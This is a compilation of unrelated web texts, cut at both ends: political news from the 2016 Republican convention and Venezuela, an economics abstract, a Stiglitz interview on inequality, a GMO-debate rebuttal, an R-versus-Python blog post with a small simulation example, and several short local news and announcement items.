keeping Clinton out of the White House. That message is sure to be well-received in the convention hall, where Clinton has been under constant attack. Speakers have painted an apocalyptic vision of America if she wins and have aggressively challenged her character. While Clinton has been a target of GOP ire for decades, the harshness of the attacks was still striking. Story continues below advertisement Former GOP presidential candidate Ben Carson connected Clinton with Lucifer. New Jersey Gov. Chris Christie implored delegates to shout "Guilty!" in response to various accusations of wrongdoing. And for a third straight night, the crowd filling the convention hall Wednesday chanted, "Lock her up." For at least some delegates, the negativity crossed a line. "Certainly races can be won based on focusing on the opponent," said Sen. Bob Corker of Tennessee. "But I think we're at a place in our country's evolution where it's particularly important now, with all that's happened and the concerns that people have, for a positive vision to be laid out." Trump has shown little concern for maintaining any modicum of political decorum. Yet Pence, the Indiana governor and Trump's new political partner, has spoken out against negative campaigning and was put on the Republican ticket in part to provide a temperamental contrast. The Trump-Pence ticket was off to an awkward start, with some Republicans whispering that the businessman was gripped by last-minute doubts about his pick. The campaign hoped for better imagery Wednesday. Pence and his family, along with Trump's adult children, greeted the billionaire as his helicopter landed by Cleveland's picturesque lakefront. Story continues below advertisement "What begins in Cleveland will end in the White House, I'm convinced," Pence declared as they greeted a small group of supporters. -By Federico Fuentes, Caracas September 24, 2009 -- Faced with the growing impact of the global economic crisis, Washington’s intentions to establish seven military bases in Colombia and growing challenges in solving structural problems, Venezuelan President Hugo Chavez reaffirmed the need to build a new state. “We have inherited a capitalist state that serves the interests of the bourgeoisie and is still penetrated by interests contrary to the revolution. We need to carry out an internal shake up of the government structures”, Chavez said on September 19 during the second expanded council of ministers meeting, which also involved governors and mayors aligned with the Bolivarian revolution. The meeting was called to discuss a series of new measures the revolutionary government plans to announce in coming weeks to confront some of the challenges it faces on the economic, political and social fronts. In all, 54 new measures have already been approved by his cabinet. Global economic crisis New figures released by the Central Bank of Venezuela (BCV) showed the national economy contracted by 1% in the first half of the year, including a 2.4% drop in the second quarter. The pro-poor and pro-development economic measures taken during the past 10 years of the Chavez government have ensured that some of the impact of the global economic crisis has been lessened, particularly in comparison with other countries. However, it is becoming clear that Venezuela is being negatively affected by the global downturn. This has also been felt in the decline in manufacturing industry (down 8.5%), among others, and the slight rise in unemployment, from 7.3% in March to 8% in August. While pro-capitalist economists are claiming the economic crisis is coming to an end, Chavez said: “No one can say that we have already passed through the worst of the crisis of capitalism.” He said worst could still lie ahead. Chavez said the insistence of the US government on imposing the same economic model “that generated the crisis” was making the situation worse. Chavez pointed to the military coup in Honduras and the seven new US military bases planned in neighbouring Colombia. He said these represent “the great threat of the empire and its pretension to continue imposing on us a model which they insist on despite the misery it has caused”. In Venezuela, the Washington-backed right-wing opposition continues to ramp up its propaganda campaign, using its control of the private media, against the government and Venezuelan people. In most cases, the propaganda is based on lies and distortions. However, in some cases it takes advantage of weaknesses in the revolution resulting — a result oif bureaucracy, corruption, internal power struggles and attempts to stifle popular participation that pervade the old state structures. Chavez said an “emergency situation” existed in the health sector. He said 2000 local medical clinics that were part of Mission Barrio Adentro, the popular government-run program that provides free health care to the poor, were no longer functioning due to “neglect on the part of everyone”. He warned that “the [US] empire knows that elections will be held next year. They are seeking a majority in the National Assembly. “They will try to weaken us. They will exploit to the maximum our inefficiencies. They are going into the barrios (poor neighbourhoods). They are trying to create movements to cohere support … we know they are capable of anything: buying votes, blackmail, trickery.” Popular support for Chavez remains extremely high. However, there is growing evidence that, after 10 years of the revolution, tiredness and discontent with the lack of advances in critical areas could mean that support for Chavez does not translate into similar support for pro-Chavez candidates in parliamentary elections. The opposition, which boycotted the 2005 National Assembly elections, will go into the poll with control of a number of key governorships and a vote that has risen in recent years, particularly in the larger cities. There are concerns they could win enough seats to sabotage the work of the assembly. New state In a July 25, 2009, National Assembly speech, Chavez raised the alarm about the failure of his government to act on decisive issues, such as health and crime, and the impact it was having on support for the revolution. Some of the social missions created by the government — with the active participation of the people — to tackle problems in the areas of health, education and housing have begun to falter due to neglect and flagging participation. The social missions emerged on the back of two important events. First, the April 2002 defeat of a US-backed military coup through a popular uprising that included important sections of the military. Second, the powerful mobilisation of the workers, communities and the armed forces that defeated a two-month bosses’ lockout (including shutting down the state-owned oil industry by its corrupt management) from December 2002 to January 2003. Defeating the lockout meant the government won control over the state oil company, allowing it to use oil revenue to set up the social missions. By organising the masses to help run the missions, the government was able to bypass the decrepit and corrupt old state structures that had proven incapable of meeting the needs of the people. However, several years down the track, these new emerging structures have begun to be “infected” by the “old state structures”, Chavez warned on August 25. “We cannot allow the new to be infected … its failure will mean the end of the revolution.” That is why “we have to finish off demolishing the old structures of the bourgeois state and create the new structures of the proletarian state”. At the September 19 meeting, Chavez called on the government to revitalise the social missions — this time within a single system with a single fund to ensure the resources reach the missions. Chavez said right now, “there are many entities responsible [for different missions], something which is holding back the process”. “The missions have to be instruments for the acceleration of the creation of the new state”, and therefore must not fall into the hands of “the old bureaucracy”. In order to reinforce Mission Barrio Adentro, more than 1000 Cuban doctors and 213 Venezuelan doctors trained in Cuba, as well as 257 specialists in intensive therapy, endoscopy and other areas, will arrive in Venezuela in October. They will join the almost 30,000-strong team of Cuban doctors, specialists and health technicians already working in Venezuela. Chavez emphasised on September 17 that these plans had to go hand-in-hand with the strengthening of popular power organisations. “The communal councils have to reactivate and commit themselves to this revitalisation ... because the role of the communes and communal councils are vital for consoliding its success.” Communal councils and communes At the cabinet meeting two days later, Chavez said that the communal councils, which group 200-400 families in urban areas and 20-50 in rural areas to solve the problems of local communities, “have to be a cell of a bigger body that is called the commune”. Chavez has constantly referred to the communes as the fundamental building blocs of a new, revolutionary state. Chavez announced the transfer of almost US$57 million for more than 330 projects decided on by local communal councils and communes. As part of the government shake up, Chavez announced the creation of six new vice-presidencies. These positions would each work to improve the coordination of government policy and ministerial action in the areas of social and political issues, the financial and productive economy, territorial development, and defence. A new Council of Revolutionary Ministries has also been formed, involving the six vice-presidents and a permanent secretary. It will involve an executive roundtable — the finance and planning ministers, the first vice president and Chavez — whose aim will be to speed government action by cutting through bureaucratic obstacles. Chavez also requested a law be drafted and presented to the National Assembly to create a Federal Council of Government involving all ministers and governors. “The opposition governors will be able to come”, he said. “As of now we invite the opposition. Instead of recruiting paramilitaries and enacting plans to destabilise the government, come to the Bolivarian Federal Council, where the people govern.” Economic measures Chavez indicated which direction the economic measures will be likely to head when he presented a number of them at the September 19 meeting. These include the creation of a new ministry and the Venezuelan Public Banking Corporation (BCV) to restructure and regulate the banking sector. With the completion of the government buy-out of the Bank of Venezuela, the state now directly controls around 16% of loans and 24% of deposits. Eight public banks, which until now have functioned with autonomous boards of directors and no coordination between them, will come under new banking corporation. Chavez demanded stricter regulation of the private banking sector, and noted this sector “continues, almost in its entirely, to not comply fully with its role of financial intermediary”. He called on governors to present productive projects for the creation of “mixed companies between the national state, the workers and the regional states in order to continue creating a new public sector based on social property”. In line with this proposal, Chavez said the cabinet had decided to create, together with the BCV, a fund to finance and support all initiatives of the new companies of social property. A special plan for employment has also been entrusted to the minister of infrastructure, housing and public works, and the minister of science, technology and medium industry. The National Assembly has announced plans to approve a reform of the labour law by the end of October. Pro-worker changes to be discussed include the reducing the workday, job protection, workers’ councils and banning labour-hire practices. -Abstract In 2005, as the result of a World Trade Organization mandate, India implemented a patent reform for pharmaceuticals that was intended to comply with the 1995 Trade-Related Aspects of Intellectual Property Rights (TRIPS). Exploiting variation in the timing of patent decisions, we estimate that a molecule receiving a patent experienced an average price increase of just 3-6 percent, with larger increases for more recently developed molecules and for those produced by just one firm when the patent system began. Our results also show little impact on quantities sold or on the number of pharmaceutical firms operating in the market. (JEL K33, L11, L13, L65, O14, O34, O38) Citation Duggan, Mark, Craig Garthwaite, and Aparajita Goyal. 2016. "The Market Impacts of Pharmaceutical Product Patents in Developing Countries: Evidence from India." American Economic Review , 106 (1): 99-135 . DOI: 10.1257/aer.20141301 Choose Format: BibTeX EndNote Refer/BibIX RIS Tab-Delimited -Bernstein writes: "A lot of people argue that there's a tradeoff between growth and inequality - that you can have faster growth but you might have to take more inequality along with it." Economist Joseph Stiglitz. (photo: Roosevelt Institute) Joseph E. Stiglitz: The Price of Inequality By Jared Bernstein, Rolling Stone oe Stiglitz, Nobel Laureate economist, is uniquely qualified to explain how the economy really works, or more precisely, how and why it's working far better for the top 1 percent than the bottom 99 percent. That's the topic of his new book The Price of Inequality. The book is a model of clarity, but that's just one of its virtues. Another is how Stiglitz frames the problem; he doesn't start from a place of "vast inequality is a fact of life in our free-market system, and that's as it should be." He starts from a much more interesting, and frankly, humane place: "This is happening. Why? Is it a good thing? Is it the market functioning smoothly or is someone taking advantage of their power? Above all: Is society better or worse off? I recently asked Joe a few questions about his new book. In this book you develop an elaborate set of arguments about how the high levels of economic inequality we're seeing hurt our economy, our institutions, and our politics. Let's start with the economy. A lot of people argue that there's a tradeoff between growth and inequality - that you can have faster growth but you might have to take more inequality along with it. It's well documented that countries that are more unequal don't do as well, don't grow as well and they are less stable. It's not an accident that in the period right before the Great Depression, our inequality reached another peak just like it did in the years before the Great Recession. Inequality destroys growth. Not to mention opportunity. That's right. America has become the country with the least equality of opportunity of any of the advanced industrial countries. That means children that are born of poor parents or poorly educated parents are not living up to their opportunities. We're wasting our most valuable asset – our human resources. And that goes beyond economics to our sense of who we are as a country. That's right. In the book I try to show how economic inequality puts our democracy in peril by undermining our basic principles of one person, one vote; and how our notion of America as a land of opportunity has been undermined and our principle of justice for all has been perverted into justice for those who can afford it. If you go through almost every social and important political economic debate, it's being shaped by the massive inequality we're facing today. Talk more about the political impact. How do you see inequality undermining our democracy? High levels of economic inequality lead to imbalances in political power as those at the top use their economic weight to shape our politics in ways that give them more economic power. If you look at so many of the outcomes in our political process, no one can say that they reflect the interests of most Americans. Most Americans don't think speculators should be taxed at a fraction of people that work for a living; or that banks should be allowed to engage in predatory lending or abusive credit card practices; or that drug companies be allowed to get special benefits out of the government in the form of overpayments; or that mining companies should be able to get natural resources at below competitive prices. At the top [of the income scale], a lot of the inequality arises out of efforts that people take to get a larger share of the pie rather than to increase the size of the pie. As you know, economists call it "rent seeking." What they're doing is moving money from the bottom to the top. But they're not creating wealth; they're just shifting wealth around. And the people who have been exploited are not better off; in fact, they're worse off. All of which breeds disillusionment. Right. I was really struck that in the 2010 election only about 20 percent of young people bothered to vote. And that was an indication that in their mind politics doesn't matter. No matter who won, the outcome was going to be determined by the people at the top, and so why bother to vote? Even worse, disillusionment only reinforces the power of money. Why don't more people recognize these inequities? One of the reasons, I suggest in the book, is that our views on these issues have really been shaped. Corporations learned how to sell almost anything. An example that makes that clear is how the cigarette companies sold so many Americans on the idea that there was no credible evidence that cigarette smoking was bad for your health. I'm surprised they didn't try to convince us that cancer wasn't bad for your health! If you can sell a toxic product like cigarettes, you can sell pretty much any idea, good or bad. Today, those at the top have the tools, the resources, and the incentives to try to shape the public debate in ways that serve their interests. There are so many instances of this kind where they tried to deny the diagnosis of the problem and divert us from the right solutions. Can you give an example? Some people say we have this inequality because some people have been contributing much more to our society, and so it's fair that they get more. But then you look at the people who are at the top and you realize they're not the people who have transformed our economy, our society. They're not the inventers of the lasers the transistors, the computer, the discoverers of DNA. They're the bankers that exploited the poor, the CEOs who took advantage of the deficiencies of our corporate governing structure to a larger and larger share of the corporate revenues without increasing the productivity and performance of the companies or our economy as a whole. I was struck by the fact that all of the Republican candidates for President had as one of their primary platform positions to repeal Dodd-Frank. It's going back to 2007 to the kind of environment that created the crisis to me is amazing. I understand the criticism of Dodd-Frank that it didn't go far enough. That's not where they're coming from. They want to recreate the circumstances that allow for bubbles, exploited predatory lending, abusive credit card practices. How anybody can say after those experiences that that's what make an economy good, strong, and that's an economy that will benefit most citizens, I find incredible! How do you explain it? Ideology. This is economics being used to pursue a political agenda. I feel very intensely about that, because my own work over 30 years ago showed that whenever there's "asymmetric information," which just means some people know something others don't, whenever there were incomplete risk markets which there always are, markets are not in general efficient, and there is an important role for government regulation, government providing goods like basic research or support of the internet, and that kind of thing. But the ideology totally ignores this. Let's talk for a second about current events. So much economic policy today both here and especially in Europe, seems like medieval medicine: bleed the patient, and when she gets worse, add more leeches. In other words, "austerity." Let me put it very forcefully: No large economy has ever recovered from an economic downturn through austerity. It's not going to happen in the United States and it's not going to happen in Europe. The book ends on a hopeful note. You say the way out of this unsustainable inequality is "self-interest, properly understood." What do you mean by that? It's basically the realization that unless the country does well together, even the 1% won't do well. We've put a lot of money at the top, and the people in the middle, let alone the bottom, have done very badly. So let's focus on what makes our society as a whole work well. What would you include in that category? Education, investments in technology, infrastructure; and you have to start looking at our legal framework: anti-trust, corporate governance, financial regulations, tax laws that are riddled with loopholes that distort our economy - all these have to be changed to try to make our society and our economy work for all Americans, not just the top. But what are the chances of getting any of it done? When you have a highly divided society, it's hard to come together to make investments in the common good. One of two things - or both - can happen: One, the 1 percent will realize that the direction we're going is not even in their own self interest, and, two, the 99 percent realize that they've been sold a bill of goods. And I hope my book will make it clear that we have reached a level of inequality that is really intolerable and that we are all paying that price. And there really are simple remedies that we could implement if we only had the political will. Joseph E. Stiglitz, a Nobel laureate in economics, has pioneered pathbreaking theories in the fields of economic information, taxation, development, trade, and technical change. He is currently a professor at Columbia University, and is the author of "The Price of Inequality: How Today's Divided Society Endangers Our Future." -This debate is about more than papayas. It’s about how we assess the world. Photo by Efired/Shutterstock It’s gut-check time for the anti-GMO movement. In the past couple of years, some of the country’s best science journalists—Amy Harmon, Nathanael Johnson, Keith Kloor, Michael Specter, and others—have shredded many of the movement’s claims and arguments. Three weeks ago Slate poked more holes in the case for banning or labeling genetically engineered food. Some GMO critics, to their credit, seem open to reforming the movement. Gary Hirshberg, the chairman of Just Label It, has been pounded by GMO advocates for unscientific statements. But in his latest essay, Hirshberg shows tentative signs of turning away from allegations that GMOs per se are dangerous. He’s trying to refocus the debate on transparency, herbicidal applications, and long-term monitoring. Others are clinging to the same old discredited attacks on GMO safety. Chief among them is Claire Robinson, an editor at GMWatch and researcher for Earth Open Source. Two years ago, when Johnson investigated issues on both sides of the GMO debate for a series in Grist, Robinson accused him of parroting industry spin. Now Robinson has written a three-part series leveling a similar charge at Slate. Her arguments fail, but they do so in an instructive way. By exploring these common anti-GMO errors, you can learn a lot about how to think critically, and not just about GMOs. Here are some of the lessons. No. 1: Don’t rely on authority. Robinson says you shouldn’t settle for vague assurances from scientific organizations. I agree. That’s why I drilled down into four case studies to look at specific evidence. The evidence, not the assurances, is what debunks the arguments against these GMOs. So when Robinson tries to drown out that evidence with her own appeals to authority, citing bogus “science-related organizations” such as the American Academy of Environmental Medicine—a quack group dressed up as an association of scholarly referees—don’t fall for the act. No. 2: Beware of generalizations. Robinson quotes a statement from the World Health Organization: “Different GM organisms include different genes inserted in different ways. This means that individual GM foods and their safety should be assessed on a case-by-case basis and that it is not possible to make general statements on the safety of all GM foods.” She portrays this as an argument for regulating GMOs more strictly than non-GMOs. She’s wrong. The statement means exactly what it says: Instead of segregating food into clumsy, overbroad categories, each product should be assessed on its own merits. That’s the problem with GMO labeling: It’s unwarranted segregation. No. 3: Read the fine print. To scare you about glyphosate, an herbicide that is used in tandem with some genetically engineered crops, Robinson displays a headline from Nature: “Widely used herbicide linked to cancer.” She puts the headline in a graphic, so you can’t click through to read the article. If you look up the article, you’ll find caveats: The risk is unquantified, and according to an expert quoted in the story, “the evidence cited here appears a bit thin.” The article also debunks a claim from Monsanto, which has implied, misleadingly, that glyphosate has been put in the same possible-carcinogen category as coffee and cellphones. Don’t trust the corporate spin. Don’t trust the anti-corporate spin, either. No. 4: Respect evidence. Robinson says you can’t trust me because I’ve “claimed that drones cut down on civilian casualties.” Guilty as charged. Here’s my evidence that the drones claim is true. You may interpret it differently. But the important thing is that I’ve put facts on the table so we can debate them and test our assumptions against data. If you follow Robinson’s approach—ridiculing propositions as absurd a priori—you’ll learn nothing. No. 5: Keep an open mind. Robinson points out that I initially favored the Iraq war, later regretted it, and eventually wrote about lessons I learned from my mistake. She says this shows I have “a history of bad judgment calls,” and therefore you shouldn’t trust me. She has it backward. The people you shouldn’t trust are those who reject new information. When events or experiments don’t turn out as you expected, you have to rethink your assumptions. Otherwise you end up clinging to dead dogmas. No. 6: Scrutinize everything. In the Slate article, I accused GMO critics of selective scrutiny: playing up the risks of GMOs while playing down the risks of non-GMO alternatives. One example was a papaya engineered with a gene from a virus. The papaya has been portrayed as dangerous, even though people have safely eaten non-GMO papayas loaded with the same virus for decades. Robinson says the comparison is faulty because “the genetically engineered form of the virus is not the same as the natural virus.” She claims that “the GM gene insertion and subsequent tissue culture processes used in genetic engineering create mutations. These can result in biochemical changes in the plant, which in turn could make the plant unexpectedly toxic or allergenic.” But mutations are hardly unique to GMOs. They’re ubiquitous, especially in plant breeding. You’re no more likely to get a toxic mutation from a GMO than from a non-GMO. No. 7: Compare the options. When you’re told something is bad, apply the same standard in judging the alternatives. Glyphosate is a good example. GMO critics say it’s hazardous, but they’re strangely quiet about the herbicides it has replaced. Robinson says the USDA report I cited—which said the adoption of herbicide-tolerant crops “has enabled farmers to substitute glyphosate for more toxic and persistent herbicides”—doesn’t mean glyphosate is “relatively benign.” But that’s exactly what it means. If you look up which pesticides have declined in use as glyphosate has increased, you find many that are far more hazardous. And if you study the World Health Organization’s pesticide safety ratings, you’ll see that glyphosate is in the second-least-hazardous category. Most of the herbicides it has replaced are worse. No. 8: Watch for moving goalposts. The Slate article reported that anti-GMO activists who present themselves as experts (at least one of whom Robinson had previously defended) gave false testimony in Hawaii. They testified that genetically engineered papayas had never been tested for safety in animals. I pointed to a study, published in the Journal of Agricultural and Food Chemistry, in which the papayas had been fed to rats. Rather than acknowledge that the testimony was false, Robinson simply throws up another claim. She says evidence in the rat study contradicts the “belief that the GM papaya is safe.” This, too, is false: The paper (which is paywalled, sorry) reports “no genotoxicity,” “no biologically significant differences,” and “no biologically adverse effects.” Robinson also says the study was too short. But just in case scientists follow up with a longer study, she’s ready to move the goalposts again: Even a two-year study in cows (“equivalent to around eight years in human terms,” according to Robinson) isn’t enough. The allegations and demands are endless. When you keep reaching for higher standards and new rationalizations, you’re just protecting your beliefs from falsification. No. 9: Beware of political agendas. Robinson dismisses Golden Rice, which is engineered to relieve vitamin A deficiency, as “a poster-child for GM” and “a weapon to attack the biotech industry’s critics.” But when you see everything in political terms, you lose sight of the underlying reality. Rice is food. Vitamin A is a nutrient. If you campaign against a nutritional project because you see it as a weapon for the other side, you are the one playing politics. This kind of us vs. them thinking can corrupt anyone. In the case of GMOs, it has corrupted too many environmentalists and public health advocates. No. 10: Beware of business agendas. Robinson discounts GMO research by anyone who has ever been linked to Monsanto. But she sees no problem with her own connections to the Organic Consumers Association, which represents “several thousand businesses in the natural foods and organic marketplace,” which would benefit from mandatory GMO labeling. Robinson also calls genetically engineered papayas a failure because of “market rejection.” But that’s a circular argument, since anti-GMO groups have been driving much of the market rejection. Monsanto isn’t the only one manipulating the market in this debate. Keep your eyes open, and look both ways. No. 11: Beware of conspiracy theories. Robinson says the Slate article was “political” because it “was published just before the Republican-led House of Representatives considered a complete ban on mandatory GMO labelling.” That’s news to me, since I didn’t even know the House vote was coming. As for Robinson’s suggestion that I’m a rabid Republican and my colleagues are in cahoots with the GOP, I bet that’s pretty funny to those of you who actually read Slate. Don’t be a sucker for conspiracy theories. They make you feel vigilant, when in fact you’re being credulous. No. 12: Check your behavior against your values. When you find yourself rooting for the failure of nutritionally enhanced crops, arguing that it’s OK to try to block these crops as long as you don’t succeed, or dismissing vitamin A deficiency in 15 percent of Filipino toddlers and preschoolers as no big deal, it’s time to ask yourself how you got to this point. No. 13: Think about the big picture. Robinson brushes aside two case studies in the Slate article, noting that genetically engineered papayas are “little grown” and Golden Rice is “unavailable.” But if you ignore the best applications of a technology, and you restrict or ban it because you don’t like other applications, you foreclose its possibilities. Why would you demand a label that puts the rice, the papayas, and safer potatoes in a category with products engineered for herbicide tolerance? Genetic engineering is a technique, not a type of food, and banning it would shut down all the good things it can do. I can’t promise you every GMO is safe, any more than Robinson can promise every non-GMO is safe. I’m not here to sell you an ideology or win a fight. I’m here to encourage you to think critically. If you follow these 13 rules, you’ll avoid the worst mistakes of the anti-GMO movement. And you’ll free yourself from dogmatists, even those who claim to speak for doubt. -Before I left for China a few weeks ago, I said my next post would be on our Rth parallel R package. It’s not quite ready yet, so today I’ll post one of the topics I spoke on last night at the Berkeley R Language Beginners Study Group. Thanks to the group for inviting me, and thanks to Allan Miller for suggesting I address this topic. A couple of years ago, the Julia language was announced, and by releasing some rather unfair timing comparisons, the Julia group offended some in the R community. Later, some in the Python world decided that the right tool for data science ought to be Python (supplemented by NumPy etc.). Claims started appearing on the Web that R’s king-of-the-hill status in data science would soon evaporate, with R being replaced by one of these other languages, if not something else. I chose the lighthearted title of this post as a hint that I am not doctrinaire on this topic. R is great, but if something else comes along that’s better, I’ll welcome it. But the fact is that I don’t see that happening, as I will explain in this post. Actually, I’m a big fan of Python. I’ve been using it (and teaching with it) for years. It’s exceptionally clean and elegant, so much nicer than Perl. And for those who feel that object-orientation is a necessity (I’m not such a person), Python’s OOP structures are again clean and elegant. I’ve got a series of tutorials on the language, if you are seeking a quick, painless introduction. I know less about Julia, but what I’ve seen looks impressive, and the fact that prominent statistician and R expert Doug Bates has embraced it should carry significant weight with anyone. Nevertheless, I don’t believe that Python or Julia will become “the new R” anytime soon, or ever. Here’s why: First, R is written by statisticians, for statisticians. It matters. An Argentinian chef, say, who wants to make Japanese sushi may get all the ingredients right, but likely it just won’t work out quite the same. Similarly, a Pythonista could certainly cook up some code for some statistical procedure by reading a statistics book, but it wouldn’t be quite same. It would likely be missing some things of interest to the practicing statistician. And R is Statistically Correct. For the same reason, I don’t see Python or Julia building up a huge code repository comparable to CRAN. Not only does R have a gigantic head start, but also there is the point that statistics simply is not Python’s or Julia’s central mission; the incentives to get that big in data science just aren’t there, I believe. (This is not to say that CRAN doesn’t need improvement. It needs much better indexing, and maybe even a Yelp-style consumer review facility.) Now, what about the speed issue? As mentioned, the speed comparisons with R (and with other languages) offered by the Julia people were widely regarded as unfair, as they did not take advantage of R’s speedy vectorization features. Let’s take a look at another example that has been presented in the R-vs.-Julia debate. Last year I attended a talk in our Bay Area R Users Group, given by a highly insightful husband/wife team. Their main example was simulation of random walk. In their trial run, Julia was much faster than R. But I objected, because random walk is a sum. Thus one can generate the entire process in R as vector calls, one to generate the steps and then a call to cumsum(), e.g. > rw <- function(nsteps) { + steps <- sample(c(-1,1),nsteps, + replace=TRUE) + cumsum(steps) + } > rw(100) [1] 1 2 3 2 3 2 1 0 1 0 -1 -2 -1 0 1 0 -1 0 -1 -2 -3 -2 -1 0 1 [26] 0 1 2 1 2 3 2 1 2 3 2 1 2 1 0 1 0 1 0 1 2 3 4 5 4 [51] 3 2 1 0 -1 -2 -1 0 -1 0 1 0 1 0 1 0 -1 0 1 0 -1 -2 -3 -4 -3 [76] -4 -3 -4 -3 -2 -3 -2 -3 -2 -3 -4 -3 -4 -3 -2 -1 0 -1 0 -1 -2 -1 -2 -1 -2 So for example, in the simulation, at the 76th step we were at position -4. This vectorized R code turned out to be much faster than the Julia code–more than 1000 times faster, in fact, in the case of simulation 1000000 steps. For 100000000 steps, Julia actually is much faster than R, but the point is that the claims made about Julia’s speed advantage are really overblown. For most people, I believe the biggest speed issue is for large data manipulation rather than computation. But recent R packages such as data.table and dplyr take care of that quite efficiently. And for serial computation, Rcpp and its related packages ease C/C++ integration. Note my qualifier “serial” in that last sentence. For real speed, parallel computation is essential. And I would argue that here R dominates Python and Julia, at least at present. Python supports threading, the basis of multicore computation. But its type of threading is not actually parallel; only one thread/core can be active at a time. This has been the subject of huge controversy over the years, so Guido Van Rossum, inventor of the language, added a multiprocessing module. But it’s rather clunky to use, and my experience with it has not been good. My impression of Julia’s parallel computation facilities so far, admittedly limited, is similar. R, by contrast, features a rich variety of packages available for parallel computing. (Again, I’ll discuss Rth in my next post.) True, there is also some of that for Python, e.g. interfaces of Python to MPI. But I believe it is fair to say that for parallel computing, R beats Python and Julia. Finally, in our Bay Area R meeting last week, one speaker made the audacious statement, “R is not a full programming language.” Says who?! As I mentioned earlier, I’m a longtime Python fan, but these days I even do all my non-stat coding in R, for apps that I would have used Python for in the past. For example, over the years I had developed a number of Python scripts to automate the administration of the classes I teach. But last year, when I wanted to make some modifications to them, I decided to rewrite them in R from scratch, so as to make future modifications easier for me. Every language has its stellar points. I’m told, for example, that for those who do a lot of text processing, Python’s regular expression facilities are more extensive than R’s. The use of one of the R-Python bridge packages may be useful here, and indeed interlanguage connections may be come more common as time goes on. But in my view, it’s very unlikely that Python or Julia will become more popular than R among data scientists. So, take THAT, Python and Julia! 🙂 Advertisements -Identity Alaska, a nonprofit LGBT advocacy group, turns 40 years old in 2017. Identity organizes Anchorage's Pride Festival, which is capped off each year with the equality parade, an event that has grown from a handful of people in the late 1970s to over 10,000 participants in 2016. "Forty years ago LGBT Alaskans marched down the street with bags over their heads," said Anchorage Assembly member Christopher Constant. "Today we marched with two openly gay elected officials as the grand marshals." Constant and fellow assembly member Felix Rivera were elected in early 2016, becoming Anchorage's first openly gay elected officials. "This is bigger than the parade," said Constant. "This whole week has been an adventure. All week I've been talking to people, and they are scared. They're scared about what's going to happen to their health care, scared about the state budget. So it's been nice to be a ray of light, and to report that we are making progress. And to be the evidence of progress." -The Government has rejected a proposed financial offer by David Bain's legal team to settle his compensation claim for wrongful imprisonment. Mr Bain was found not guilty at a retrial last year of the 1994 murder of his parents and three siblings in Dunedin after spending 13 years in prison. Mr Bain is seeking legal aid to fight his compensation claim and his lawyer Michael Reed QC said that if they offer had been accepted it could have save the taxpayer up to $10 million, The New Zealand Herald reported today. "We have offered a short cut, but that has been rejected," Mr Reed said. "The short cut is that we talk to the Government about a negotiated settlement, because we are concerned that the cost of proving David's innocence - which we are quite confident we can do - is going to be much greater than the amount of any compensation we would be claiming." Mr Reed said that Justice Minister Simon Power had informed the Bain camp that it had to prove "on the balance of probabilities" Mr Bain was innocent. "This is going to involve a huge case, which in our estimation may end up costing everyone about $10 million, with an overseas judge to be appointed," Mr Reed said. He would not discuss how much compensation would be sought, but it is expected to be more than $1 million. The compensation bid would involve "presumably, recalling about a couple of hundred witnesses and experts from all around the world", Mr Reed said. "Which seems not an economic thing to do, bearing in mind the state of the economy generally. "In the public interest, I would have thought it would be better to negotiate with David, to give him some money and to allow him to get on with his life. As it is, he's in limbo." Mr Bain's lawyers also plan to pursue an inheritance from Mr Bain's parents which went to other family members when Mr Bain was convicted of the five murders in 1995. -Here is some news: I occasionally get asked if there is a way to get my comic in print, and after I discontinued the Lulu volume there wasn't. However, if you missed out before, there is no need to worry, as Gunnerkrigg Court is being published as a 300 page hardback book by Archaia Studio press. Here is a little announcement about it on Newsarama. Gunnerkrigg Court: Orientation will contain the first 14 chapters up until the end of the meeting with Coyote, will be in full colour, and is scheduled to come out in May. What's more, despite this version being more than twice the length of the old book, and printed professionally, it should be about the same price ($25). That's a lot of comic for your buck right there. I'll post more news as I have it. -Sometimes we run into situations that remind us that the rest of the world just hasn’t quite caught up with electronic document management yet. We know from Freedom of Information Act requests that governments have sometimes been guilty of overcharging for access to public records. We were treated to a dilly of a case recently courtesy of the New York Times, which posted a dramatic reading of a deposition for an Ohio Supreme Court case regarding access to government records. The video is well worth watching if you have six minutes to spare, but here’s a summary of the case: In 2010, the Cuyahoga County Recorder’s Office made a change to its pricing policy for copies of county records, such as real estate title documents. Instead of the public being able to purchase digital copies of the records for $50 per CD, the Recorder’s Office announced that requestors would have to pay $2 per page for printed-out, hard copies of the documents. Digital copies would no longer be made available. All of these documents, it should be noted, were being stored digitally by the Recorder’s Office. To justify this price, the Recorder’s Office claimed that the digitally stored versions of the documents were not legally considered public records—if they were, by law, they would need to be provided to the public “at cost.” Several companies that used these records in their business sued the Recorder’s Office to continue to have access to the files on CD, at the actual cost of copying the digital documents to a CD. While the New York Times’ dramatic reading isn’t the first time this case has gotten media attention, it did boast someone identifying himself as David Marburger, the plaintiff’s attorney in the case, providing his perspective on the pricing proposal. Writing in the New York Times comments section, “Marburger” notes that at $2 for every paper page represented digitally on a CD, a person wanting copies of 20 CDs’ worth of records would have to pay the Recorder’s Office $208,000 (as compared to $1,000 at the previous rate of $50 per CD). Just taking depositions for the case took two years and required more than 600 pages of depositions. However, it never went to trial. Instead, the Ohio Supreme Court ruled that the Recorder’s Office needed to make the files available on CD—for $1 per CD. This meant that for 20 CDs’ worth of records, the County Recorder’s office went from charging $1,000 to wanting to charge $208,000 to being ordered by the court to charge…$20. In a 7-0 decision on February 29, 2012, wrote the Court’s public information office, the court denied the claim that the real estate title documents were not public records. Having stipulated that, the court went on to reject the argument that the office was authorized to charge a fee of $2 per page for copies of the documents—since they were, in fact, public records, they needed to be provided at cost, the court ruled. The plaintiffs claimed that making the copies on a CD would cost only about a dollar, and the county office didn’t provide any evidence contrary to that, so the court agreed with the plaintiffs and ruled that the office could charge $1 per CD. (Ironically, by the time the case was settled, the office had already changed its public records policy, and no longer included the $2 per page charge.) Especially in these days of rising expenses and looking to find a way to keep the IT department from being a cost center, it’s tempting to look for ways to recoup costs. Unfortunately, take it too far, and the backlash can be quite dramatic. -Woman, 32, Arrested For Distributing Naked Photos Of Her Ex-Husband Share Tweet Meet Eva Gaitan. The 32-year-old Floridian is jailed on a stalking charge after she allegedly distributed naked photos of her ex-husband to the man’s employer and parents. Gaitan (pictured at right) was arrested yesterday on the misdemeanor charge at the Palm Harbor home she once shared with her ex-spouse. The couple's marriage was dissolved in February, according to court records. Police allege that Gaitan “mailed a CD of the nude images to her ex-husband’s parents” and hand delivered “packages of CDs” to her former husband’s workplace. The CDs were labeled “Requires Immediate Attention.” Gaitan, investigators charge, obtained the explicit photos “from her ex-husband’s flash drive.” In a post-arrest interview, Gaitan reportedly confessed to “burning the images to discs” and then distributing the CDs. Gaitan, 